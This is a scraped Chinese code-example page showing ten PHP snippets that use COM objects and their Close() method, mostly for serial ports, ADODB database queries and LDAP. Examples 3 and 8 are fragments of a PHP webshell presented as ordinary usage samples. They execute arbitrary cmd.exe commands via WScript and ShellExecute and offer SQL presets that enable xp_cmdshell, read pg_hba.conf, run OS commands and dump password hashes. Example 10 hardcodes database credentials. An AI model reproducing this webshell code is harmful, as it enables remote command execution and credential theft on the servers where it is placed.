本文整理汇总了PHP中COM::Close方法的典型用法代码示例。如果您正苦于以下问题:PHP COM::Close方法的具体用法?PHP COM::Close怎么用?PHP COM::Close使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类COM
的用法示例。
在下文中一共展示了COM::Close方法的10个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: actionCheckComtool
function actionCheckComtool()
{
if (class_exists('COM')) {
try {
$objComport = new COM("ActiveXperts.Comport");
$objComport->Logfile = "C:\\PhpSerialLog.txt";
$objComport->Device = "COM1";
$objComport->Baudrate = 9600;
$objComport->ComTimeout = 1000;
$objComport->Open();
print '<br>Check errros of COMport tool using (trying to connect with COM1)';
if ($objComport->LastError != 0) {
if ($objComport->LastError >= 1000 && $objComport->LastError <= 1999) {
print '<br>LICENSING ERROR!!!';
} else {
print '<br>no licensing errors, some errors with com-port connection';
}
$ErrorNum = $objComport->LastError;
$ErrorDes = $objComport->GetErrorDescription($ErrorNum);
echo "<br><br>Error sending commands: #{$ErrorNum} ({$ErrorDes}).";
}
} catch (Exception $e) {
print_r($e->getMessage());
}
$objComport->Close();
} else {
print "Class for work with COM ports is not available";
}
}
示例2: COM
<?php
/**
* Created by PhpStorm.
* User: Administrator
* Date: 2015/6/5
* Time: 12:30
*/
$fs = new COM("PageOfficeASP.FileSaver");
/**/
$fs->SaveToFile = "Public/File/test/" . $fs->FileName;
//保存成功后,设置返回值,此处设置为:OK
$fs->CustomSaveResult = "OK";
$fs->Close();
示例3: Com_h
//.........这里部分代码省略.........
<div class="actall"><input type="submit" value="执行" style="width:80px;"></div></form>
END;
if (!empty($_POST['cmd'])) {
echo '<div class="actall">';
$shell = new COM('wscript');
$exe = @$shell->exec("cmd.exe /c " . $cmd);
$out = $exe->StdOut();
$output = $out->ReadAll();
echo '<pre>' . $output . '</pre>';
@$shell->Release();
$shell = NULL;
echo '</div>';
}
} elseif ($object == 'application') {
$run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe';
$cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\\boot.ini d:\\a.txt';
print <<<END
<div class="actall">程序路径 <input type="text" name="run" value="{$run}" style="width:600px;"></div>
<div class="actall">命令参数 <input type="text" name="cmd" value="{$cmd}" style="width:600px;"></div>
<div class="actall"><input type="submit" value="执行" style="width:80px;"></div></form>
END;
if (!empty($_POST['run'])) {
echo '<div class="actall">';
$shell = new COM('application');
echo @$shell->ShellExecute($run, '/c ' . $cmd) == '0' ? '执行成功' : '执行失败';
@$shell->Release();
$shell = NULL;
echo '</div>';
}
} elseif ($object == 'adodb') {
$string = isset($_POST['string']) ? $_POST['string'] : '';
$sql = isset($_POST['sql']) ? $_POST['sql'] : '';
print <<<END
<script language="javascript">
function hFull(i){
\tif(i==0 || i==5) return false;
\tStr = new Array(12);
\tStr[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\\db.mdb";
\tStr[2] = "Driver={Sql Server};Server=,1433;Database=DB;Uid=sa;Pwd=**";
\tStr[3] = "Driver={MySql};Server=;Port=3306;Database=DB;Uid=root;Pwd=**";
\tStr[4] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;";
\tStr[6] = "SELECT * FROM [TableName] WHERE ID<10";
\tStr[7] = "INSERT INTO [TableName](usr,psw) VALUES('yoco','pwd')";
\tStr[8] = "DELETE FROM [TableName] WHERE ID=1";
\tStr[9] = "UPDATE [TableName] SET USER='yoco' WHERE ID=1";
\tStr[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
\tStr[11] = "DROP TABLE [TableName]";
\tStr[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
\tStr[13] = "ALTER TABLE [TableName] DROP COLUMN PASS";
\tif(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
\treturn true;
}
</script>
<div class="actall">连接字符串 <input type="text" name="string" id="string" value="{$string}" style="width:526px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>--连接示例--</option>
<option value="1">Access连接</option>
<option value="2">MsSql连接</option>
<option value="3">MySql连接</option>
<option value="4">Oracle连接</option>
<option value="5">--SQL语法--</option>
<option value="6">显示数据</option>
<option value="7">添加数据</option>
<option value="8">删除数据</option>
<option value="9">修改数据</option>
<option value="10">建数据表</option>
<option value="11">删数据表</option>
<option value="12">添加字段</option>
<option value="13">删除字段</option>
</select></div>
<div class="actall">SQL命令 <input type="text" name="sql" id="sql" value="{$sql}" style="width:650px;"></div>
<div class="actall"><input type="submit" value="执行" style="width:80px;"></div>
</form>
END;
if (!empty($string)) {
echo '<div class="actall">';
$shell = new COM('adodb');
@$shell->Open($string);
$result = @$shell->Execute($sql);
$count = $result->Fields->Count();
for ($i = 0; $i < $count; $i++) {
$Field[$i] = $result->Fields($i);
}
echo $result ? $sql . ' 执行成功<br>' : $sql . ' 执行失败<br>';
if (!empty($count)) {
while (!$result->EOF) {
for ($i = 0; $i < $count; $i++) {
echo htmlspecialchars($Field[$i]->value) . '<br>';
}
@$result->MoveNext();
}
}
$shell->Close();
@$shell->Release();
$shell = NULL;
echo '</div>';
}
}
return true;
}
示例4: getInvitationList
/**
* Get Invitation List from database
**/
function getInvitationList()
{
// Require DB Config
require_once "../lib/picasa/config.php";
// Records Array
$allRec = array();
// Create an instance of ADO connection object
$conn = new COM("ADODB.Connection") or die("Cannot start ADO");
// Define connection string, specify database driver
$connStr = "PROVIDER=SQLOLEDB;SERVER=" . $server . ";UID=" . $username . ";PWD=" . $passwd . ";DATABASE=" . $db;
$conn->open($connStr);
//Open the connection to the database
//SQL statement that will query the database
$query = "SELECT * FROM tbl_picasa";
//execute SQL statement and return records
$rs = $conn->execute($query);
$num_columns = $rs->Fields->Count();
for ($i = 0; $i < $num_columns; $i++) {
$fld[$i] = $rs->Fields($i);
}
while (!$rs->EOF) {
$rec = array();
for ($i = 0; $i < $num_columns; $i++) {
array_push($rec, $fld[$i]->value);
}
array_push($allRec, $rec);
$rs->MoveNext();
//move on to the next record
}
//close the connection and recordset objects freeing up resources
$rs->Close();
$conn->Close();
$rs = null;
$conn = null;
return $allRec;
}
示例5:
$objCommand->Properties["Chase Referrals"] = False;
//DEFAULT = False
//$objCommand->Properties["Column Names Only"] = True; //DEFAULT = False
//$objCommand->Properties["Deref Aliases"] = False; //DEFAULT = False
$objCommand->Properties["Page Size"] = 999;
//GET AROUND AD'S 1000 RECORD (DEFAULT)LIMIT AND PAGENATES RESULTS
$objCommand->Properties["SearchScope"] = 2;
//DEFAULT = ADS_SCOPE_SUBTREE(aka 2) (http://msdn.microsoft.com/en-us/library/aa772286%28v=vs.85%29.aspx)
//$objCommand->Properties["Size Limit"] = 0; //DEFAULT = No Size Limit (An integer value that specifies the size limit for the search. For Active Directory, the size limit specifies the maximum number of returned objects.)
//$objCommand->Properties['Sort On']->Value = "name"; //DEFAULT = No Sorting (aka none)
$objCommand->Properties["Time Limit"] = 0;
//DEFAULT = No Time Limit (An integer value that specifies the time limit, in seconds, for the search.)
$objCommand->Properties["Timeout"] = 0;
//DEFAULT = No Time Out (An integer value that specifies the client-side timeout value, in seconds.)
$Cmd = "<LDAP://192.168.1.1>;(objectClass=*);adspath;Subtree";
//YOUR AD SEVER HERE | FQDN or IP
$objCommand->CommandText = $Cmd;
$objRecordSet = $objCommand->Execute();
$OrderNumber = 0;
while (!$objRecordSet->EOF()) {
$OrderNumber++;
$adspath = $objRecordSet->Fields['adspath']->Value;
echo $adspath . "<br>";
$objRecordSet->MoveNext();
}
$objRecordSet->Close();
//$objCommand->Close() ;
$objConnection->Close();
unset($objRecordSet);
unset($objCommand);
unset($objConnection);
示例6:
$rs = $conn->execute($query);
$num_columns = $rs->Fields->Count();
echo $num_columns . "<br>";
for ($i=0; $i < $num_columns; $i++) {
$fld[$i] = $rs->Fields($i);
}
echo "<table>";
while (!$rs->EOF) //carry on looping through while there are records
{
echo "<tr>";
for ($i=0; $i < $num_columns; $i++) {
echo "<td>" . $fld[$i]->value . "</td>";
}
echo "</tr>";
$rs->MoveNext(); //move on to the next record
}
echo "</table>";
//close the connection and recordset objects freeing up resources
$rs->Close();
$conn->Close();
$rs = null;
$conn = null;
?>
示例7: pi
//.........这里部分代码省略.........
$supdate_db = 'Yes';
}
$str .= " <b>Import PI data</b><br>";
$str .= " Server: <b>" . $server . "</b><br>";
$str .= " Data method: <b>" . $cal_method . "</b><br>";
$str .= " Update database: <b>" . $supdate_db . "</b><br>";
$str .= " From time: <b>" . $data['date_begin'] . "</b><br>";
$str .= " To time: <b>" . $data['date_end'] . "</b><br><br>";
$connection = new \COM("ADODB.Connection") or die("Cannot start ADO");
$str .= " Open connection " . date('H:i:s') . "<br>";
$connection->Open("Initial Catalog=piarchive;\n\t\t\t\tData Source='localhost';User ID =root;Password='';");
$str .= " Begin command " . date('H:i:s') . "<br>";
$result_set = $connection->Execute($sql);
$result_count = 0;
$labels = array();
$str .= " Begin fetch data " . date('H:i:s') . "<br><br>";
$str .= " <table><tr><td><b>Tag</b></td><td><b>Date/time</b></td><td><b>Value</b></td><td><b>Code</b></td><td><b>Status</b></td><td><b>Command</b></td></tr>";
while (!$result_set->EOF) {
$impSQL = "";
$hasError = false;
$statusCode = "Y";
$err = "";
$tagID = $result_set->fields[0]->value;
$date = $result_set->fields[1]->value;
$value = $result_set->fields[2]->value;
$r_t = int_tag_mapping::where(['TAG_ID' => $tagID])->select('*')->first();
if ($update_db) {
if (count($r_t) <= 0) {
$hasError = true;
$statusCode = "NG";
$err = "Tag mapping not found";
} else {
foreach ($r_t as $r) {
$table_name = strtoupper($r[TABLE_NAME]);
$column_name = strtoupper($r[COLUMN_NAME]);
$cc = DB::statement("SELECT TABLE_NAME FROM `INFORMATION_SCHEMA`.`TABLES` WHERE TABLE_SCHEMA='{$db_schema}' and `TABLE_NAME`='{$table_name}' limit 1");
if (!$cc) {
$hasError = true;
$statusCode = "NT";
$err = "Table not found ({$table_name})";
} else {
$cc = DB::statement("SELECT COLUMN_NAME FROM `INFORMATION_SCHEMA`.`COLUMNS` WHERE TABLE_SCHEMA='{$db_schema}' and `TABLE_NAME`='{$table_name}' and COLUMN_NAME='{$column_name}' limit 1");
if (!$cc) {
$hasError = true;
$statusCode = "NC";
$err = "Column not found ({$column_name})";
}
}
if (!$hasError) {
$objIDField = $this->getObjectIDFiledName($table_name);
$sF = "";
$sV = "";
$sWhere = "{$objIDField}={$r['OBJECT_ID']} and OCCUR_DATE=DATE('{$date}')";
if (substr($table_name, 0, 12) == "ENERGY_UNIT_") {
$sWhere .= " and FLOW_PHASE={$r['FLOW_PHASE']}";
$sF .= ",FLOW_PHASE";
$sV .= ",{$r['FLOW_PHASE']}";
}
if ($table_name == "ENERGY_UNIT_DATA_ALLOC") {
$sWhere .= " and ALLOC_TYPE={$r['ALLOC_TYPE']}";
$sF .= ",ALLOC_TYPE";
$sV .= ",{$r['ALLOC_TYPE']}";
}
$tmp = DB::statement("select ID from `{$table_name}` where {$sWhere} limit 1");
if ($tmp) {
$sSQL = "update `{$table_name}` set `{$column_name}`='{$value}' where ID={$rID->ID}";
$sSQL = str_replace("''", "null", $sSQL);
$impSQL .= ($impSQL ? "<bt>" : "") . $sSQL;
if ($update_db) {
DB::update($sSQL) or $html .= "<td>" . mysql_error() . "</td>";
$tags_override++;
}
} else {
$sSQL = "insert into `{$table_name}`(`{$objIDField}`,OCCUR_DATE,`{$column_name}`{$sF}) values({$r['OBJECT_ID']},'{$date}','{$value}'{$sV})";
$sSQL = str_replace("''", "null", $sSQL);
$impSQL .= ($impSQL ? "<bt>" : "") . $sSQL;
if ($update_db) {
DB::insert($sSQL) or $html .= "<td>" . mysql_error() . "</td>";
$tags_addnew++;
}
}
$tags_loaded++;
}
}
}
}
$str .= " <tr><td>" . $result_set->fields[0]->value . '</td><td>' . $result_set->fields[1]->value . '</td><td>' . $result_set->fields[2]->value . "</td><td>{$statusCode}</td><td>{$err}</td><td>{$impSQL}</td></tr>";
$result_count = $result_count + 1;
$result_set->MoveNext();
}
$str .= " </table><br>";
$str .= " Close connection " . date('H:i:s') . "<br>";
$str .= " <br />The number of records retrieved is: " . $result_count . "<br /><br />";
$result_set->Close();
// optional
$connection->Close();
// optional
$str .= " Finished " . date('H:i:s') . "<br>";
return response()->json($str);
}
示例8: Com_h
//.........这里部分代码省略.........
Str[26] = "Select Name FROM Master..SysDatabases;";
Str[27] = "select name from sysobjects where type='U';";
Str[28] = "Select Name from SysColumns Where id=Object_Id('TableName');";
Str[29] = "select username,password from dba_users;";
Str[30] = "select TABLE_NAME from all_tables;";
Str[31] = "desc admin;";
Str[32] = "grant connect,resource,dba to user_name;";
Str[33] = "select datname from pg_database;";
Str[34] = "select relname from pg_stat_user_tables;";
Str[35] = "\\\\d table_name";
Str[36] = "select pg_file_read('pg_hba.conf',1,pg_file_length('pg_hb.conf'));";
Str[37] = "\\\\! uname -a";
Str[38] = "select schemaname from syscat.schemata;";
Str[39] = "select name from sysibm.systables;";
Str[40] = "select colname from syscat.columns where tabname='table_name';";
Str[41] = "db2 get db cfg for db_name;";
Str[42] = "select name from sysdatabases;";
Str[43] = "select tabname from systables where tabid=n;";
Str[44] = "select tabname,colname,owner,coltype from syscolumns join systables on syscolumns.tabid = systables.tabid;";
Str[45] = "select username,usertype,password from sysusers;";
if(i<=9){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];}
\treturn true;
}
</script>
conn strings:<br> <input type="text" name="string" id="string" value="{$string}" style="width:800px;">
<select onchange="return hFull(options[selectedIndex].value)">
<option value="0" selected>--select range--</option>
<option value="1">Access</option>
<option value="2">MsSql</option>
<option value="3">MySql</option>
<option value="4">Oracle</option>
<option value="5">DB2</option>
<option value="6">PostGreSQL</option>
<option value="7">Informix</option>
<option value="8">DSN</option>
<option value="9">FILEDSN</option>
<option value="10">--sql statement--</option>
<option value="11">show data</option>
<option value="12">insert data</option>
<option value="13">update data</option>
<option value="14">create table</option>
<option value="15">drop table</option>
<option value="16">add column</option>
<option value="17">access shell()</option>
<option value="18">add xp_cmdsehll(sql2005)</option>
<option value="19">add oacreate(sql2005)</option>
<option value="20">add openrowset(sql2005)</option>
<option value="21">add xp_cmdsehll(sql2000)</option>
<option value="22">add oacreate(sql2000)</option>
<option value="23">oamethod exec</option>
<option value="24">sp_makewebtask</option>
<option value="25">xp_cmdshell</option>
<option value="26">databases(sql)</option>
<option value="27">tables(sql)</option>
<option value="28">columns(sql)</option>
<option value="29">hashes(oracle)</option>
<option value="30">tables(oracle)</option>
<option value="31">columns(oracle)</option>
<option value="32">grant(oracle)</option>
<option value="33">databases(pgsql)</option>
<option value="34">tables(pgsql)</option>
<option value="35">columns(pgsql)</option>
<option value="36">pg_hba.conf(pgsql)</option>
<option value="37">os-command(pgsql)</option>
<option value="38">databases(db2)</option>
<option value="39">tables(db2)</option>
<option value="40">columns(db2)</option>
<option value="41">db config(db2)</option>
<option value="42">databases(informix)</option>
<option value="43">tables(informix)</option>
<option value="44">columns(informix)</option>
<option value="45">hashes(informix)</option>
</select>
<br><br>SQL Commnad:<br> <input type="text" name="sql" id="sql" value="{$sql}" style="width:800px;">
<input class="bt" type="submit" value="execute">
</form><br>
END;
if (!empty($string)) {
@$shell->Open($string);
$result = @$shell->Execute($sql);
$count = $result->Fields->Count();
for ($i = 0; $i < $count; $i++) {
$Field[$i] = $result->Fields($i);
}
echo $result ? $sql . ' Done<br>' : $sql . ' Faild<br>';
if (!empty($count)) {
while (!$result->EOF) {
for ($i = 0; $i < $count; $i++) {
echo $Field[$i]->value . '<br>';
}
@$result->MoveNext();
}
}
$shell->Close();
}
}
$shell = NULL;
echo '</div>';
return true;
}
示例9: while
echo "<BR>";
}
echo "Sending 'ATI'...<BR>";
echo "<BR>";
$objComport->WriteString("ATI");
while ($objComport->LastError == 0) {
echo $objComport->ReadString();
echo "<BR>";
}
echo "Sending 'AT&C0'...<BR>";
echo "<BR>";
$objComport->WriteString("AT&C0");
while ($objComport->LastError == 0) {
echo $objComport->ReadString();
echo "<BR>";
}
} else {
$ErrorNum = $objComport->LastError;
$ErrorDes = $objComport->GetErrorDescription($ErrorNum);
echo "Error sending commands: #{$ErrorNum} ({$ErrorDes}).";
}
echo "Ready.";
$objComport->Close();
?>
<br>
<br>
<hr size="1" color="#707070">
<font size="1" face="Verdana">This demo uses ActiveXperts Serial Port Component</font>
</body>
</html>
示例10: BASIS
function BASIS()
{
$conn = new COM("ADODB.Connection") or die("Kan ADODB niet gebruiken");
$conn->Provider = "OraOLEDB.Oracle";
$conn->ConnectionString = "Data Source=GEO;User Id=gbi; Password=zomer;";
$conn->Open();
$sql_stmt = " SELECT SDO_UTIL.TO_WKTGEOMETRY(SDO_AGGR_MBR(shape)) FROM AB_HIST_GEMEENTEGRENS_V";
$p = "";
$Recordset = $conn->Execute($sql_stmt);
while (!$Recordset->EOF) {
$res = $Recordset->Fields[0]->Value;
$lengte = strlen($res);
$pol = strpos($res, "POLYGON");
if ($pol >= 0) {
$coord = substr($res, $pol + 10, $lengte - 10 - 2);
}
//print ($coord);
//print ("<BR>");
$Recordset->MoveNext();
}
$p = $coord . "|";
$Recordset->Close();
unset($Recordset);
$sql_stmt = "SELECT SDO_UTIL.TO_WKTGEOMETRY(shape) FROM AB_HIST_GEMEENTEGRENS_V";
$Recordset = $conn->Execute($sql_stmt);
while (!$Recordset->EOF) {
$res = $Recordset->Fields[0]->Value;
//print ($res . "<BR><BR>");
$lengte = strlen($res);
$pol = strpos($res, "POLYGON");
if ($pol >= 0) {
$coord = substr($res, $pol + 10, $lengte - 10 - 2);
}
$p = $p . $coord . "|";
$Recordset->MoveNext();
}
$Recordset->Close();
unset($Recordset);
$conn->Close();
unset($conn);
CREATEPDF($p);
/*
$sGeo = explode("|", $p);
$tokens = explode(",", $sGeo[0]);
$sMin = explode(" ", $tokens[0]);
$sMax = explode(" ", $tokens[2]);
$sMinX = $sMin[0];
$sMinY = $sMin[1];
print ("sMinX = " . $sMin[0]);
print ("sMinY = " . $sMin[1]);
for ($iRecord = 1; $iRecord < (count($sGeo) - 1); $iRecord++) {
$tokens = explode(",", $sGeo[$iRecord]);
print ($sGeo[$iRecord]);
print ("<BR><BR>");
$point = array();
for ($gRecord = 0; $gRecord < count($tokens); $gRecord++) {
$sPunt = explode(" ", $tokens[$gRecord]);
if ($gRecord == 0) {
$sX = $sPunt[0] - $sMinX;
$sY = $sPunt[1] - $sMinY;
print ("gRecord = 0 ");
print ($sX * 1000 / 350000);
print (" ");
print ($sY * 1000 / 350000);
print ("<BR>");
$point[$gRecord] = ($sX * 1000 / 350000);
$point[$gRecord + 1] = ($sY * 1000 / 350000);
}
elseif ($gRecord == (count($tokens) - 1)) {
$sX = $sPunt[1] - $sMinX;
$sY = $sPunt[2] - $sMinY;
print ("gRecord = ubound(tokens) ");
print ($sX * 1000 / 350000);
print (" ");
print ($sY *1000 / 350000);
print ("<BR>");
$point[$gRecord] = ($sX * 1000 / 350000);
$point[$gRecord + 1] = ($sY * 1000 / 350000);
}
else {
$sX = $sPunt[1] - $sMinX;
$sY = $sPunt[2]- $sMinY;
print ($sX * 1000 / 350000);
print (" ");
print ($sY *1000 / 350000);
print ("<BR>");
$point[$gRecord] = ($sX * 1000 / 350000);
$point[$gRecord + 1] = ($sY * 1000 / 350000);
}
}
unset($point);
}
*/
}